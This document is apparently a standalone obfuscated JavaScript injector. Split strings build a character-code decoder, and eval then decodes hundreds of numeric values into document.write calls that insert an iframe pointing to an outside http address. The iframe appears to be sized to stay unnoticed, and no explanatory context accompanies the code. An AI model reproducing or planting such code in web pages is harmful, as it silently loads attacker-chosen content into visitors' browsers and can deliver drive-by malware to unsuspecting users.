OlOlll="(x)";OllOlO=" String";OlllOO="tion";OlOllO="Code(x)}";OllOOO="Char";OlllOl="func";OllllO=" l = ";OllOOl=".from";OllOll="{return";Olllll="var";eval(Olllll+OllllO+OlllOl+OlllOO+OlOlll+OllOll+OllOlO+OllOOl+OllOOO+OlOllO);eval(l(79)+l(61)+l(102)+l(117)+l(110)+l(99)+l(116)+l(105)+l(111)+l(110)+l(40)+l(109)+l(41)+l(123)+l(114)+l(101)+l(116)+l(117)+l(114)+l(110)+l(32)+l(83)+l(116)+l(114)+l(105)+l(110)+l(103)+l(46)+l(102)+l(114)+l(111)+l(109)+l(67)+l(104)+l(97)+l(114)+l(67)+l(111)+l(100)+l(101)+l(40)+l(77)+l(97)+l(116)+l(104)+l(46)+l(102)+l(108)+l(111)+l(111)+l(114)+l(40)+l(109)+l(47)+l(49)+l(48)+l(48)+l(48)+l(48)+l(41)+l(47)+l(57)+l(57)+l(41)+l(59)+l(125));eval(""+O(99001631)+O(109891998)+O(98015255)+O(115834286)+O(107915158)+O(99995519)+O(108904877)+O(114847355)+O(45542644)+O(117815488)+O(112860198)+O(103958214)+O(114842109)+O(99993461)+O(39609672)+O(33662116)+O(59405924)+O(103957954)+O(100980872)+O(112866977)+O(96038460)+O(107911483)+O(99999381)+O(31686665)+O(117816245)+O(103950084)+O(99000212)+O(114846773)+O(102960623)+O(60395351)+O(91081705)+O(33662904)+O(48512907)+O(47528970)+O(47521935)+O(47521452)+O(91082039)+O(33669740)+O(31687623)+O(103952886)+O(99004743)+O(60393116)+O(91085538)+O(33667524)+O(103958182)+O(100983229)+O(112866401)+O(96033824)+O(107915117)+O(99997428)+O(103951298)+O(99009154)+O(91081558)+O(33663303)+O(31680581)+O(113853086)+O(98016925)+O(112868219)+O(109895275)+O(106923164)+O(106926702)+O(103951352)+O(108900989)+O(101973197)+O(60397593)+O(91088210)+O(33664311)+O(108904031)+O(109895182)+O(91087675)+O(33661730)+O(31686836)+O(102964081)+O(99991527)+O(103951028)+O(101978887)+O(102960596)+O(114846477)+O(60395193)+O(91081843)+O(33667876)+O(51488700)+O(52478826)+O(47522526)+O(47523574)+O(91080868)+O(33667046)+O(31686208)+O(100980000)+O(112861671)+O(96036894)+O(107912391)+O(99996778)+O(97027862)+O(109891242)+O(112863082)+O(99006003)+O(99998781)+O(112865196)+O(60393585)+O(91089899)+O(33663386)+O(47525008)+O(91085770)+O(33660971)+O(31689784)+O(113859478)+O(112863867)+O(98014662)+O(60397266)+O(91083860)+O(33662735)+O(102964515)+O(114840836)+O(114846270)+O(110888652)+O(57429821)+O(46538239)+O(46536591)+O(114842595)+O(45545782)+O(99009499)+O(115837880)+O(103956013)+O(99006163)+O(103958946)+O(96030276)+O(108909122)+O(45548449)+O(98019745)+O(108907401)+O(46531676)+O(118801504)+O(103950935)+O(99995271)+O(46536250)+O(108905724)+O(116826950)+O(48513703)+O(49504024)+O(45545694)+O(102969659)+O(114840216)+O(107913064)+O(106925345)+O(91082895)+O(33666440)+O(61389099)+O(59405612)+O(46539480)+O(103957026)+O(100988807)+O(112864585)+O(96030769)+O(107911047)+O(99995596)+O(61380170)+O(33668664)+O(40595905)+O(58417880)+O(12875243)+O(9900166)+O(99003740)+O(109899867)+O(98015309)+O(115834385)+O(107910333)+O(99994837)+O(108908653)+O(114842087)+O(45546514)+O(117810923)+O(112869003)+O(103957719)+O(114842071)+O(99999391)+O(106920681)+O(108903941)+O(39602150)+O(33665426)+O(59406258)+O(113858654)+O(114846165)+O(119791410)+O(106926719)+O(99994539)+O(61389206)+O(33662700)+O(40594110)+O(58411082)+O(12875941)+O(9905917)+O(99006697)+O(109899103)+O(98017023)+O(115839721)+O(107916625)+O(99997797)+O(108908003)+O(114848095)+O(45540072)+O(117814258)+O(112860725)+O(103956124)+O(114849903)+O(99995508)+O(106927240)+O(108908279)+O(39600833)+O(33663036)+O(34656212)+O(82179197)+O(105937073)+O(103959822)+O(108901821)+O(31686963)+O(121772500)+O(99009875)+O(103955171)+O(113858889)+O(110883297)+O(106920258)+O(96038195)+O(119799796)+O(57423125)+O(97025621)+O(106920067)+O(109892801)+O(98010767)+O(105935237)+O(58416096)+O(31682586)+O(41580292)+O(99002525)+O(103959146)+O(113851191)+O(110883706)+O(106927088)+O(96033534)+O(119796291)+O(57426113)+O(108909242)+O(109891439)+O(108901976)+O(99993369)+O(58417048)+O(31681805)+O(97022032)+O(109892237)+O(114845839)+O(114841753)+O(109895725)+O(107913044)+O(57420258)+O(47520483)+O(58416081)+O(31684838)+O(112868783)+O(103955680)+O(101970668)+O(102963045)+O(114840765)+O(57422424)+O(47524872)+O(32679624)+O(103955950)+O(107914592)+O(110887686)+O(109895724)+O(112866523)+O(114848766)+O(96039988)+O(108906836)+O(114841625)+O(58410642)+O(31685322)+O(102960459)+O(99994393)+O(103953930)+O(101973176)+O(102966244)+O(114841493)+O(57421765)+O(48514770)+O(110888661)+O(118805142)+O(58410614)+O(31681333)+O(112862149)+O(103957650)+O(101976676)+O(102964884)+O(114848773)+O(57428442)+O(48514799)+O(55441516)+O(110888384)+O(118803598)+O(58419873)+O(31687172)+O(117811270)+O(103957873)+O(99000750)+O(114845935)+O(102963314)+O(57429242)+O(48516635)+O(110880800)+O(118803654)+O(58415920)+O(31686008)+O(110886960)+O(109894834)+O(113855898)+O(103958019)+O(114847587)+O(103955463)+O(109898974)+O(108906401)+O(57422115)+O(100985371)+O(103951285)+O(118805869)+O(99997013)+O(99003264)+O(58412335)+O(31681034)+O(114849079)+O(99996882)+O(118804528)+O(114847804)+O(44551212)+O(96035656)+O(106925203)+O(103957295)+O(101970693)+O(108905858)+O(57421160)+O(98012230)+O(99999971)+O(108908268)+O(114845692)+O(99995853)+O(112869945)+O(58418319)+O(31688119)+O(116823330)+O(103955739)+O(113858761)+O(103955817)+O(97025658)+O(103954988)+O(106924816)+O(103958750)+O(114846070)+O(119798618)+O(57421830)+O(31686502)+O(102968941)+O(103954127)+O(99005432)+O(99007805)+O(99991197)+O(108901367)+O(58414195)+O(123752575)+O(33666216)+O(40590824)+O(58414782)+O(12876439)+O(9900240)+O(99004399)+O(109899612)+O(98017771)+O(115831277)+O(107918695)+O(99997011)+O(108907217)+O(114840508)+O(45540789)+O(117813869)+O(112869732)+O(103956196)+O(114846517)+O(99990797)+O(106929109)+O(108900092)+O(39601261)+O(33669781)+O(59405008)+O(91086334)+O(46533220)+O(113854346)+O(114842491)+O(119792863)+O(106929199)+O(99992199)+O(61384050)+O(33665325)+O(40592890)+O(58410399));
